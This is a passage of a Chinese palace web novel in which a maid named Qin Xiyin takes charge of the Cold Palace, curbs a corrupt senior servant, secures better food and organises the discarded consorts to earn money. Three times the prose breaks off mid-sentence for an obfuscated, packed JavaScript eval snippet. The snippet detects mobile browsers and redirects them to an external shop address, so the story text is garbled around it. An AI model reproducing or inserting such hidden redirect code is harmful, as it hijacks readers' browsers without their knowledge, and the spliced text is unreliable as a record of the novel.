接着,一个抽着水烟的老嬷嬷慢悠悠地走了出来。她还穿着一身丝绸睡衣,看来这间是她的屋子。 老嬷嬷上下打量了秦惜音几眼,问道:“你是太后派来的?太后娘娘派你来干什么?” 秦惜音礼貌回应:“太后娘娘派我来管理冷宫三个月,我叫惜音,不知道您怎么称呼?” “我姓古,你叫我古嬷嬷就行。你是一等宫女?” “不是,我暂时是太后殿的二等宫女。” 古嬷嬷不屑地瞟了秦惜音一眼:“一个二等宫女,这么大阵仗,我还以为是多大的人物呢。既然太后娘娘派你来,你自己找点活干吧。如果不知道干什么,可以问问其他宫女太监。” 说着,古嬷嬷就要往回走。 秦惜音上前几步,拦住了她,微笑道:“古嬷嬷,我来这里不止是干活的。太后命我管理冷宫,即便是您,也要暂时听我的。所以,请您换上得体的衣服,并召集冷宫所有在职的宫人,一起来到前面的院子开个会。” 秦惜音的声音不大,但带着一股不容反驳的语气。 古嬷嬷有几分惊讶和生气,说道:“你一个黄毛丫头,也想管我?我看,太后娘娘不是这么吩咐的吧?她只是让你来冷宫干活,你倒想当这里的主子?” “难道我会假传太后娘娘的命令吗?要不您跟我去太后娘娘面前对质一下。” “我是冷宫的管事,不能轻易离开。” 说着,古嬷嬷就径自走了进去,面朝墙壁,继续抽着水烟,不理秦惜音。 秦惜音没想到,自己刚过来,就碰见了刺头。 如果今天不立威,以后更难管理。 因此,她也没多说什么,而是离开了冷宫,来到太后的寿康宫,用太后给的玉牌调了几名侍卫,让侍卫们跟自己走。 她带着侍卫们回到冷宫,重新来到古嬷嬷的屋子外面。 古嬷嬷看见门外有好几个侍卫,打量着秦惜音确实有一定的权力。她不敢再怠慢,赶紧穿好外衣,走了出来。 19. 走马上任 接着,古嬷嬷去把其他宫人都叫来,一共来了六个人。 古嬷嬷对秦惜音道:“冷宫一共有8名宫人,现场算上老身,一共7人。还有一个太监双喜,这会不在冷宫,估计是去赌钱了。老身已经叫人去找他了。惜音姑娘,要不您进房间,一边喝茶一边等?” 秦惜音道:“不用了。所有人都站在院子里等他,我也陪你们一起站。” 宫人们面面相觑,都很惊讶。 但是,她们知道现在冷宫暂时归秦惜音管辖,也不敢反抗,就跟秦惜音一起站在了前院。 大约两刻钟过去,有两个年轻宫女有些站不住了,双脚交替着抬了抬。她们在冷宫当差,没什么人管她们,平时应该散漫惯了,很少长时间站立。 所以,才这么一会,她们就受不了了。 但是,她们不敢出声。 秦惜音都站着,而且看起来还能坚持的样子,其他几个宫女也只能继续站。 好不容易等到一个小太监匆匆忙忙赶过来,大伙的脸色都不太好看。 那个跑来的小太监长得很讨喜,大约十几岁,看起来有些俏皮。他就是那个去赌钱的小太监双喜了。 其他宫人纷纷埋怨他:“双喜,你怎么又去赌钱了?害我们站在这儿等你。” “就是,你也不挑挑时候。” 双喜赶紧道歉:“抱歉,我不知道今天会有女官来。” 接着,双喜看向秦惜音,连连道歉:“女官大人,请见谅!您有什么话尽管吩咐,我以后一定办好事情再去赌钱!” 秦惜音被他逗笑了,说道:“无论什么时候都不能赌钱,听见了吗?” “啊,这……” 双喜一脸为难,没有说话。 古嬷嬷有些阴阳怪气地斥责双喜:“惜音姑娘如今是冷宫里的主管,她说的话,你听着就是,不得违抗,知道吗?平时你们不听我的也就罢了,要是不听惜音姑娘的,有你们好果子吃!” 双喜吐了吐舌头,道:“知道了。” 秦惜音没有理会古嬷嬷的不满情绪,平静地说道:“好了,既然人来齐了,我们一起找间空屋子开会吧。我也不是什么女官,你们可以叫我惜音姑娘或是叫一声姐姐。 以后无论谁偷偷跑出去了,其他人都得像今天这样,站着等他。所以,如果不想拖累同僚的话,就不要擅自行动,明白吗?” 宫人们纷纷说道:“明白了。” 秦惜音看附近有间整洁的空屋子,虽然不大,但胜在家具摆设少,比较空旷,就决定进那间屋子开会。 里面的凳子不够,秦惜音让两个宫人去别的屋搬凳子过来,一共凑够九把椅子。 这样,大家都能坐下。 见每个人都有座位,宫人们倒是很惊讶,有几个宫人还用感激的神色看着秦惜音。 秦惜音让各人都入座,按照年纪排座次。 她自己坐在主位,年纪最大的,挨着她坐。年纪轻的,坐得远些。 一共四个宫女,四个太监。 其中,宫女中有一个年老的古嬷嬷,太监中也有一个五十来岁的福公公。她们两个一左一右,坐在秦惜音身侧。 古嬷嬷秦惜音已经打过交道,知道是个倚老卖老、不好惹的角色。 而那个五十多岁的福公公,长得又胖又和蔼,还面带笑容,看起来是个好相处的。 其余的几人,年纪都不算大,最年轻的看着十几岁,还有二十来岁的、三十来岁的。 秦惜音先让众人做了自我介绍,得知几个年轻的宫女分别叫甘雨、东风、子规。几个年轻的太监分别叫双喜、小叶子、小汤圆。 秦惜音问道:“你们谁会写字?” 东风道:“我识字,但认识的不多。可以写简单的字。” 双喜挠头道:“我只认识大、小、一、二这种字。” 福公公道:“我识字多一些,姑娘要记录什么,我来写就可以了。” 秦惜音点头道:“也没什么要紧的,只需要把我今天说的话记个大概就行了。以后每次开会,由福公公负责做会议记录,并且保存起来,方便以后查看。” 福公公:“好的。” 秦惜音看了看众人,缓声说道:“我知道,诸位在冷宫任职,难免有些辛苦和委屈,待遇跟宠妃宫里的下人们是没法比的。但现在,太后娘娘派我来管理冷宫,足以证明太后娘娘也很在乎冷宫众人的生活情况。 所以,从今天起,大家好好干,也能在太后面前讨个好。如果大家干得好,我会在太后面前提起给大家加俸禄、加奖金的事,一定不会让诸位的努力白费。” 闻言,宫人们都十分惊喜。只有古嬷嬷十分不屑,似乎不相信秦惜音的话。 秦惜音接着说道:“当然,诸位如果不想一辈子在冷宫,也是有机会调走的。你们不必去走谁的门路,只要做好本职工作,我都看在眼里。而我是可以随时面见太后娘娘的。以后该怎么做,大家应该都有数了。” 宫人们都用期待的眼神看着秦惜音,仿佛秦惜音是她们的救星。 秦惜音看向古嬷嬷:“现在,我要先了解一下冷宫的基本情况,包括这里一共有多少人,她们的健康状况如何,在冷宫多久了,冷宫的财务状况,等等。古嬷嬷,您在冷宫时间最长,就由你来说吧。” 古嬷嬷道:“冷宫里现在大概有63人,算上我们几个宫人,再加上您的话,有72人。其中生病的有20人左右,发疯的有30人左右,剩下没生病、没发疯的,只有十几人。 她们大部分是失宠或犯错的妃子、宫女、女官,有些是先帝时期的,也有些是德宗时期的,也就是当今皇上的祖父在位时被贬进来的。更早的都死了。” 秦惜音点点头,觉得现在的情况很严重。冷宫里的生活条件不好,又不能及时请太医,就算小病也拖成大.病了。如果一开始得的就是大.病,那就更容易油尽灯枯。 秦惜音说道:“这几个月,我们的目标是,整顿冷宫环境,治愈所有病人,改善冷宫的生存环境。” 这时,宫女子规说道:“这不太可能吧?冷宫里的人,都病了很久了。现在才开始治,多半是治不好的。而且,我们也没有钱。” 秦惜音问道:“这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751546|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽是冷宫,但每年应该有拨款吧?这些年的拨款都用完了?” 闻言,宫人们互相看了一眼,神色复杂,谁都没有说话。 秦惜音猜测,冷宫的财政拨款可能大部分都被这几个宫人给私吞了,用不到冷宫弃妃们的身上。 果然,古嬷嬷半笑不笑地说道:“每年冷宫这边只有五十两银子的拨款,所有要用钱的地方都要从这里面出,根本就不够用,也没钱给弃妃们治病。现在的结余大概只有十几两了。” 秦惜音伸手道:“把剩下的钱给我。以后,冷宫的款项由我管理。另外,之前的账本也拿来给我看看。” 古嬷嬷变了脸色:“冷宫的钱一向都是我管的,姑娘刚来,就想管钱,未免太托大了。再说,冷宫里这么多人,要用钱的地方既多又琐碎,谁还去记账?账本是没有的。” 秦惜音寸步不让:“我是太后派来的人,我心里想的也只是把冷宫变得更好。钱到了我手里,我也是用在明处,会仔细记账,谁都可以来查账。古嬷嬷不肯把钱交给我,难道是不把太后娘娘放在眼里? 还是你想继续留着钱,给自己用?我刚才看了一眼你的房间,光是那个紫砂壶,就要五两银子。还有那扇屏风,价值十两。像这样贵重的东西,你房间里还有很多。你用自己的俸禄,是绝对置办不起的。 以前的事,我可以既往不咎。但是以后谁要是敢搞小动作,我绝不轻饶。” 古嬷嬷语气也软了下来,说道:“姑娘,刚才我是跟你开玩笑的。管钱可是个辛苦活,你愿意接过去,我岂有不肯的?我只是怕你年轻,没经验而已。至于我房间里的东西,确实是用我自己的俸禄置办的,我只是攒了很久的钱而已。” 说着,古嬷嬷拿出一个荷包,递给秦惜音。 秦惜音掂了掂,感觉里面大概有十一二两。虽然少,但总比没有好。 对于古嬷嬷的说辞,她也没深究。反正,古嬷嬷愿意把财政大权交出来就行了。 以前的一些猫腻,自己也没法管。 接着,秦惜音道:“每隔十天,我会制定一些计划,并给各人分派任务。接下来的十天,大家的任务是清扫冷宫,把每一间屋子都打扫干净,并把生病的、发疯的弃妃们都拾掇整洁。有空去花园锄锄草,把枯黄的、死掉的植物都扔掉。 还有,检查冷宫各处有哪里损坏的,报给我,我一并报修。 有一个整洁的环境,人才能少生病。这不仅是为了弃妃们着想,也是为了大家着想。毕竟,咱们跟弃妃们生活在同一个环境里。” 听说要干活,年轻宫人们都面露难色。 看得出来,她们平时应该不怎么干活。 宫女子规抱怨道:“还要搞大扫除啊,这很累的……依我看,我们把自己的房间打扫干净就行了。那些弃妃们的房间,没必要打扫。就算给她们收拾干净了,她们也会马上弄脏。” 秦惜音道:“先全都弄干净了,打下基础。以后即便有小的脏乱之处,也容易打理,不像现在这样一团乱。” 太监小叶子道:“活都我们干了,您做什么呢?只是监工吗?” 20. 狗都不吃 秦惜音道:“谁说我不干活了?我会跟你们一起干。总之,打扫卫生的期限就是十天,如果提前打扫好,所有人放假。如果到期没有打扫好,所有人扣俸禄,包括我自己。 以后,冷宫的俸禄由我亲自去领,亲自发放。按时完成我交代的任务,并保证质量,才能全额领到俸禄。干得好的,会有额外奖励。 这几天辛苦大家,我有空会亲自给大家做饭、做点心。” 听到秦惜音要掌管宫人们的俸禄,大多数宫人们脸色一变,但不敢说什么。 接着,秦惜音拿出一张冷宫的地图,说道:“来之前,我特意叫人画了一张冷宫的地图。我们这里一共九人,我划分了九块区域,每人负责一块。古嬷嬷和福公公上了年纪,负责的区域小一些。其他人的区域大一些,我负责的区域最大。 大家可有什么意见?” 虽然好几个宫人不想干活,但看见秦惜音负责最大的区域,她们也没话说,纷纷说道:“谨遵惜音姑娘吩咐。” 秦惜音道:“那就从今天中午算起,一直到十天后的中午结束。每个人干完了活,并且经过我检验合格之后,就可以休息了。休息期间不扣工钱。” 闻言,宫人们都有些雀跃。只要自己认真干活,干得又快又好,就能有带薪休假。这完全取决于自己的速度和态度,宫人们的积极性增加了很多。 一番沟通下来,秦惜音发现,这些宫人里面,太监双喜、小叶子,宫女子规是比较活跃的,而太监小汤圆,宫女甘雨、东风比较沉默寡言。 秦惜音也对这些人的性情有了初步了解。 等各自分好工后,秦惜音宣布散会。 其他人都走后,福公公问道:“姑娘,这会议记录是交给你吗?” 秦惜音微笑道:“福公公老成持重,就由您保管会议记录吧。以后我有需要再看就行。另外,您有空时多抄录一份,保存在另一个地方。这样,一共有两份,可以避免突发的意外。” 福公公十分高兴,说道:“好的,就按惜音姑娘的意思办吧。没想到,这冷宫也有人认真管了。我这把老骨头,就全凭姑娘使唤了。” 秦惜音道:“福公公不必客气,您如果身体不舒服,一定要及时告诉我,我可以调整您的任务。” “姑娘既聪慧,又有仁心,实在少见,将来必有一番作为。” “那就借福公公吉言了。” 这时,秦惜音注意到,福公公走起路来十分迟缓,便问道:“福公公,您的腿脚不便吗?” “是啊,我患有风湿。” “既然这样,分配给您的活可以少干一些,我干完自己的活,就来帮您干。” “不用了,打扫的活,我还是能干得动的。” 见福公公坚持,秦惜音就没再反对。 马上就到了午饭时间,第一个十天计划是从午饭之后开始。 冷宫的午饭也是由尚食局那边统一分配的,不过得自己去拿。 以前,是几个年轻的宫人们轮流去拿。 今天本来轮到小太监双喜去拿,不过秦惜音说要跟他一起去。 双喜道:“惜音姐姐,冷宫离尚食局挺远的,还是由我过去吧。” 秦惜音道:“我刚来冷宫,还没有为大家做点什么,就先分配了一些任务下去,难得大家都支持我。吃饭是大事,我也要去看看,这样以后也知道从哪些方面进行改进。 你要是路上累了,我还能替你。我来冷宫不是来享福的,而是跟大家同甘共苦的。” 其他宫人闻言,都有些动容。就连古嬷嬷,也惊讶地看着秦惜音,神色复杂。 双喜推着一辆手推车,叫秦惜音跟他一起出门。 秦惜音看到手推车,觉得有趣。不过,冷宫这么多人,饭菜可不得用手推车来推吗? 双喜长得瘦小,脚步也轻快,在宫道上健步如飞。 秦惜音要小步快走,才能跟得上他。 秦惜音问道:“冷宫每天的伙食怎么样?你们吃得饱吗?” 闻言,双喜面露难色:“只能说饿不死罢了。尚食局给冷宫这边的吃食经常是剩饭剩菜,而且能吃的部分不多。小葱拌豆腐里没有豆腐,蒜薹炒肉里没有肉,椒盐鸭架只剩骨头…… 这还不算,有时候给我们的饭干脆就是馊的。我们有俸禄,还能偶尔改善一下伙食。那些弃妃们可惨了,天天吃这种狗都不吃的东西,就算没病也吃出病来。” “那你们没向上级反映一下吗?” “冷宫的事,谁肯管啊?我们也不敢去找什么上级。再说,有很多人巴不得冷宫里的人都死了呢,不会施以援手的。” “弃妃们没人管也就罢了,你们是正经的宫人,按理说应该有正常的待遇。万一你们吃出病来,或是有生命危险,上级主管岂不是也有罪责吗?” “来冷宫当差的宫人,都是没权没势的,或者是得罪了人,没人在意。这批如果死了,就再换一批呗。我来冷宫也才两年,听说之前死过好几个太监呢。” 秦惜音听得有些寒心。她继续问道:“那福公公和古嬷嬷怎么能在冷宫生存那么久呢?” “她们也不是一开始就在冷宫的,具体什么时候过来的,我就不知道了。总之,她们有积蓄,而且她们的品级高,俸禄也高,自然可以改善自己的伙食。再加上,古嬷嬷她……” 双喜忽然闭了嘴,好像有些忌讳。 秦惜音问道:“你想说什么?当着我的面,直说便是。” “还是算了……” “你不说我也知道,古嬷嬷还会贪污冷宫的拨款,或是从那些弃妃身上敲诈钱财,对不对?” 双喜连连点头,佩服地看着秦惜音:“惜音姐姐,你真是太厉害了,就像亲眼看见一样。有些弃妃,进来的时候还是有积蓄的。就算没钱,她们身上的这身行头也值不少钱。 古嬷嬷会用粗布麻衣替换她们身上的绫罗绸缎,然后把她们的衣服、首饰拿去卖。 还有一些弃妃或女官们,在宫外是有一些有钱的家人的。古嬷嬷还会向她们的家人敲诈呢。 总之,冷宫的宫人也有自己的生存之道。” 秦惜音冷不防地问道:“那你呢?你有没有做过这些事?” 双喜把头摇得像拨浪鼓:“没有,那些丧良心的事,我才不做呢。最多就是古嬷嬷贪污公款的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751547|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,会给手底下的人分一点,我也分到过一些。我手里倒有些闲钱,大部分是靠自己赌回来的。 惜音姐姐,如果你要用钱,可以跟我说。” 秦惜音笑着敲了敲他的脑袋,道:“我刚跟你说,以后不能赌了,你这么快就忘了?” “这个……马上不赌,有点难度。我可以慢慢地戒赌,减少频率……” “赌钱只有戒或者不戒,什么叫‘慢慢地戒’?你说这话,就是不想戒。” “惜音姐姐,我也没办法啊。我如果不赌,哪来的闲钱?没有闲钱,就得天天吃馊饭、冷饭,大冬天没有棉袄穿……” “我说了,我会向太后申请奖金,发放给你们,不会让你们短了钱的。赌钱这事,久赌神仙输,你还能一直赢不成?从今以后,务必戒了。” “是,我听您的!” “你得发个誓。” “好吧……我发誓,如果我以后再赌钱的话,就让我……就让我对所有好吃的食物都过敏,只能喝脏水,吃馊饭。” 秦惜音笑了:“好毒的誓,我信你了。” 二人说说笑笑,也不觉得走路辛苦了,很快就来到了尚食局。 厨师们见冷宫来人了,就有些不耐烦地说道:“今天吃炒面,在那边,你们自己拿吧。” 秦惜音看了看厨师手指的方向,见墙角摆放着两个脏兮兮的木桶,其中一个木桶装满了炒面,另一个木桶里有小半桶剩菜。 炒面需要放较多的油,一般越底下的面条越油腻,是没法吃的。 但是,厨师们给的一桶炒面,全都油浸浸的,每一根面条都像是在油里泡了很久。而且,里面还有一些污渍,让人看一眼就反胃。 而另一个桶里的剩菜,也是乱七八糟的,什么都有,全是些边角料,恐怕连狗都不会吃。 双喜面露难色:“今天的炒面太油了,没法吃啊。还有没有别的?就算是白米饭、馒头也行,我们不要菜了。” 有个胖胖的厨娘冷笑道:“有的吃就不错了,你们还挑上了?往常你们说,冷宫的饭菜一点油水都没有。今天的炒面有这么多油水,你们该满意了吧?还挑挑拣拣的,想吃龙肝凤髓啊?” “这……我们是需要油水,但今天的油水太多了,根本没法吃……” “那就没有了,你们饿一顿吧,反正饿不死。” 双喜没办法,只得对秦惜音道:“惜音姐姐,今天就只能吃这些了,我们回去之后再把油沥一下好了。咱们把这两个木桶搬到车上去。” 秦惜音便跟双喜一起搬。 这两个木桶重还是次要的,主要是非常油,又非常脏,搬起来很费劲,经常往下滑。 好不容易把两个木桶搬上了手推车,秦惜音的手也变得又油又黑。 她用手帕擦了好几次,都没擦干净,也只好算了。 她问双喜:“回去之后得拿开水涮一下面条,冷宫的开水足够吗?” 双喜道:“烧开水得用煤炭,冷宫的煤炭也不多,没法经常烧水。往常遇到这种情况,我们都是把面条夹起来,等它的油滴得差不多了,就能吃了。这样虽然沥不干净,但总比直接吃要好一些。” 21. 生财之道 秦惜音一想到要这样吃面条,就觉得很为难。但底下人都这么吃,她也只能跟着吃。 总不能为了她一个人,烧一次开水。 秦惜音本想拿出银两给尚食局的人,让她们帮忙改善冷宫伙食。 但是,她手上银两不多,而饭是每天都要吃的,她打点不了几回。尚食局这边打点多了,会导致其他地方没钱花。 她觉得,如果之前几年,古嬷嬷她们没贪污公款就好了。但即便如此,公款也不多,还是巧妇难为无米之炊。 于是,今天只能先回去。 没想到,她们刚走了几步,就看见一个宫女蹲在角落里哭。 秦惜音走了过去,问道:“这位姐姐,你为什么哭?” 这宫女抬起头来,露出一张清丽的脸庞。只是,她身上有很重的油烟味,让秦惜音忍不住后退了一步。 这宫女道:“我是刚分配进尚食局的女史,本来我的厨艺尚可,但上面的女官们排挤我,每天让我做很多菜,说是练习。等练习好了,就能正式给各宫主子们呈上菜肴。 可是,无论我做什么,她们都说不合格,让我倒掉。我进尚食局三个月了,还没有正式给主子们做过菜肴。我一方面为那些浪费的食物感到可惜,一方面为自己的前途担忧,所以哭了。” 秦惜音道:“原来是女史姐姐,不知您怎么称呼?您今天也做菜了吗?” “我叫松月,我今天也做了很多菜,女官们说做得不好,让我全都倒了,还骂了我。” 女史虽然没有品级,但也是女官预备役,在尚宫局供职,其地位类似于小吏。 所以,女史的地位也比宫女高,凡是宫女见了女史们,也需要尊称一声姐姐或姑姑。 秦惜音道:“依我看,姐姐做的菜没有问题,她们只是想磨炼姐姐的心性罢了。不知您今天做的菜倒在哪里?” 松月道:“倒在一个大木桶里,等晚上要跟泔水一起运出宫去,然后拿去喂猪。我觉得太可惜了,那些饭菜都是我用心做的,怎么能跟泔水混在一起?那些饭菜即便不好吃,但也足够几十人饱餐一顿了。” 秦惜音有些惊喜:“倒掉的饭菜在哪里?实不相瞒,我们是冷宫的宫人。冷宫的伙食很差,今天更是分到了很油的炒面,根本没法下咽。姐姐做的饭菜既然没法呈给主子们吃,不如送给我们? 一来可以避免浪费,二来也能改善冷宫众人的伙食。我们有机会一定会报答您的。” 松月也很开心:“真的吗?你们不嫌弃我做的饭菜?可是,我做的饭菜全都倒在一起,看起来乱七八糟的,像是剩饭剩菜,不知道你们愿不愿意吃。” “愿意啊,那些可都是好饭好菜。虽然看起来像是剩饭剩菜,但我们心里知道不是就行了。而且,有一些拌饭的做法不就是把菜跟饭拌匀才能吃吗?我们只当是吃拌饭就好了。” 松月擦干眼泪:“你们不嫌弃就好,跟我来。” 松月带着秦惜音和双喜来到尚食局的后门,这里摆着几个木桶。 其中几个木桶装的是泔水,还有一个木桶放得远些,里面是松月被迫倒掉的饭菜。 松月让秦惜音和双喜把炒面倒进泔水桶里,然后把她做的饭菜抬到手推车上。 秦惜音不停地道谢,松月道:“不用客气,其实你们也帮了我。我知道自己做的饭菜被人吃掉了,心里会好受些。以后,你们可以每天都来找我,如果有类似的好饭好菜,我还会留给你们的。” 秦惜音:“嗯,谢谢!” 秦惜音和双喜两人把饭菜运回冷宫,不论是宫人还是弃妃们,都对今天的饭菜赞不绝口,还有人吃了好几碗。 吃饱饭后,宫人们各自开始干活。 秦惜音觉得,现在冷宫最缺的就是钱。不论是打点其他部门,还是给废妃们看病,或是笼络其他宫人,都需要钱。 可是,冷宫的拨款太少,即便秦惜音把自己的私库补贴进去,也用不了多久。 所以,当务之急是想一些生财的法子。 至于自己负责的区域卫生,可以等一下再搞。 宫人们都开始打扫卫生了,而冷宫里住着的人,有一些本来就是宫女出身,她们会帮着宫人们打扫。 秦惜音走上前去,说道:“冷宫里除了在职的八位宫人,其他人先不用参与打扫。我另有任务交给你们。所有没病的、没疯的人,都跟我过来一下。” 过了一会,有十几个女人走了出来,跟秦惜音走进了会议室。 秦惜音对她们说道:“诸位既然在冷宫里,想必是很难出去了。与其自暴自弃、混混日子,倒不如想想,怎样让自己的生活过得更好。 其实,那些生活在冷宫外的人,穷其一生,追求的也不过就是衣食住行,跟咱们是一样的。 只要这冷宫能让人安乐,出不出去其实差别不大。 现在,我暂时解决了大家的伙食问题,但好饭好菜未必一直有。等那位松月女史升了官,或是等我离开了冷宫,大家的伙食可能又会变成冷饭、馊饭。 即便是为了自己的衣食,大家也应该共同努力。诸位觉得呢?” 这十几个女人纷纷说道:“惜音姑娘说得有理。” 秦惜音道:“现在,请大家分别介绍一下,自己是什么身份,都有些什么特长。” 一个女人道:“我原先是一个妃子的贴身宫女,我家主子被打入冷宫后,我为了照顾她,也进来了。后来,主子死了,我一个人在冷宫熬日子。我会缝补衣服,也会打扫卫生。” 秦惜音问道:“有没有赚钱的技能?” “我会熬糖水,但现在在冷宫,也不知卖给谁去。” 秦惜音:“没关系,有技能就行,我先记下来。下一个。” 另一个女人道:“我本是先帝时期的女官,因犯了错,被贬入冷宫。我原先是尚服局的,会做宫中的衣服、首饰。” 第三个女人道:“我原先是德宗皇帝时期的一名妃子,我是被德宗皇帝看上了,强行征召入宫的。我本有心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751548|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上人,宁死不愿侍.寝。德宗皇帝试图跟我缓和关系,但一直没有成功。后来他不耐烦了,把我打入冷宫。我就住到了现在。 算起来,我进冷宫已经有五十多年了,但我从未后悔。我的心上人也终身未娶,前几年已经过世。 要说技能的话,我会做背包,不论是双肩包、斜挎包、帆布包还是佩囊、小荷包,我都会做。” 秦惜音听完她的讲述,心中感慨万千。 这个女人已经七十多岁了,岁月在她脸上留下了深深的纹路,但她眼神还是很坚毅,似乎这几十年的折磨,对她来说只是弹指一挥。 她用短短数语概括了自己的一生,秦惜音却知道,她必定隐瞒了很多艰难险阻、宫闱寂寞。 在冷宫住了这么多年,她都没疯,着实令人敬佩。 秦惜音道:“太妃娘娘,这些年您辛苦了。” 太妃神色有些动容:“谢谢……” “不知道怎么称呼您?” “我姓宁,你叫我一声宁姥姥好了。我早已被废,不是什么太妃了。” “不,我还是叫您太妃吧,反正只是一个称呼而已。您的技能我已经记下了。下一个。” …… 这十几个女人,纷纷做了简单的自我介绍。 除了五个没有什么赚钱技能外,剩下的八个或多或少都会一些技能,有些是做吃的,有些是做衣服、做背包、做首饰,也有些人会捏泥人、做冰糖葫芦。 秦惜音把她们的技能一一记下,说道:“从现在开始,大家也别想着自己过去的身份了。既然同在冷宫,大家现在的身份都一样,就以年龄定尊卑吧。 年轻的尊敬年老的,年老的关爱年轻的。不要因为自己以前是妃子或女官,就端架子;也不要因为自己是宫女出身,就自卑或者讨好别人。 现在,冷宫最大的问题就是缺钱。那些病了的、疯了的,自然没法赚钱,得由咱们暂时照顾着她们;咱们这些没病、没疯的,手里又有技能的,从今日起,就开始做自己擅长的东西。 做出来的商品,我会托人到宫外去卖。卖得的钱,二成分给那些帮忙的人,五成归你们自己,剩下的三成计入冷宫的公账,用于冷宫的共同开销。 当然,诸位的辛苦和贡献,我也看在眼里。凡是为冷宫赚钱的人,将来我有机会,就把你们带出冷宫。你们有什么心愿,我也可以帮你们达成。 因为我情况特殊,我是被太后派来管理冷宫的,三个月后便可以离开。 同时,我也会积极治疗生病和发疯的人。等她们治好后,如果也有赚钱的技能,可以一起加入赚钱的行列。这样,冷宫的钱会越来越多,大家的日子也会越过越好。 至于那五个没有赚钱技能的人,就负责照顾病人和疯子,其他事不需要你们操心。 同样,负责赚钱的几个人,只需要制作商品,一应杂事都不用管。在身体状况允许的条件下,多劳多得,我绝不侵吞你们的财产。 大家觉得呢?” 22. 太医问诊 听到这样的分配,这十几个女人都挺开心的,同意了秦惜音的方案。 冷宫无聊,有个事做也好。 宁太妃道:“惜音姑娘,我年纪大了,不需要太多钱。我所赚的钱,我自己拿一成就可以,剩下的充入公账。我只有一个心愿:等我死后,让当今皇上解除我废妃的身份,恢复我的自由身,我想跟我那个心上人合葬。” 秦惜音郑重答应:“宁太妃,您放心,我一定做到。” “好。还有,我们做东西都是需要原材料的,但冷宫里缺乏原材料。” “我知道了,我先用自己的私房钱买原材料给你们,等你们赚了钱,我再从公账中拿走自己的成本就好了。” “这样的话,回款周期很长,恐怕三个月未必能回款。” “没关系,我相信大家。即便我将来离开冷宫,也会在财务这块做好安排,过几年再拿回我的成本也不要紧。” “惜音姑娘,你真是好心人。” “其实,我也是为了自己。总之,为了我们共同的利益,咱们各司其职,不要懈怠,也不要想东想西。散会。” 这十几个女人各自散了。 秦惜音开始考虑购买原材料的事,还有寻找销售门路的事。 她决定先去找郁山青太医。 之前跟郁太医短暂相处过,她觉得郁太医是个热心人,也许能同意自己赊药,并帮自己销售商品。 于是,秦惜音往外走去。 太监小叶子一边漫不经心地打扫,一边偷偷盯着秦惜音的动向。 他看见秦惜音离开了,过了一会,他也放下了抹布和扫帚,偷偷跑到古嬷嬷身边。 古嬷嬷问道:“小叶子,怎么了?” 小叶子道:“干娘,那个惜音嘴上说得大义凛然的,实际上她还是没有跟我们一起干活,只想督促我们干活,她捡现成的便宜。这不,刚才她着急冷宫里的女人说话,说了大半天,也不知道在聊什么,估计是想借机偷懒。 现在,她又偷偷跑出去了。” 古嬷嬷冷笑道:“我就知道,她这么年轻,又是太后那边的人,根本吃不了苦。之前她用一番恩威并施的话,把我们吓住,好让我们积极干活。她自己倒这么快现原形了。 你吩咐下去,各人只管各人的区域,谁也不要帮惜音干活。我看十天后她怎么跟我们交代。” 小叶子有些高兴地说:“干娘,如果惜音自己的活没干好,我们是不是可以借机把她赶走?到时候,冷宫仍然是干娘说了算。” “没错。冷宫可不是什么好管的地方,我估计过几天,她自己就吃不了苦,想回到太后那里了。这几天,我们先忍一忍,不要跟她起冲突。她反正待不久的。” “嗯。” —————— 另一边,秦惜音已经来到了太医院。 她说自己要找郁山青太医,就有学徒把她带到一间药房,让她等候片刻。 过了一会,郁山青过来了,笑道:“惜音姑娘,好多天不见了。” 秦惜音站起身来:“是啊。郁太医,我现在奉太后的命令,管理冷宫。我想把冷宫的病人治好,您能不能随我去看看那些病人?我想着,那些病症较轻的、不怎么花钱的病人,可以先治。病情复杂、沉疴难愈的,可以先拟定治疗方案,我想办法慢慢给她们治。” 郁山青道:“当然可以。不过,太后娘娘怎么突然想起冷宫的事了,还让你去管?” “我也不知道。” “无妨。等我这边忙完了,就过去。” “好,我事务繁忙,就不在这里等了,先回去了。” “嗯。” 秦惜音回到冷宫后,就开始打扫自己负责的区域。 她记得自己还有这个活,而且必须干得比其他宫人好,才能服众。 于是,她心无旁骛地打扫起来。 如果有疯子试图干扰她,她就叫那几个没有病的、也没有技能的女人把疯子带走。 这几个女人现在专门负责管理其他人,权责分明了,秦惜音处理起事情来也轻松了。 这些屋子实在太脏,今天只能大致地打扫一下。如果要深入打扫,还需要几天功夫。 秦惜音先是打扫屋外,接着推开一扇门,准备打扫里面的房间。 这间房住着四个疯了的废妃,其中两个成天发呆,还有两个经常又哭又笑的,安静不下来。 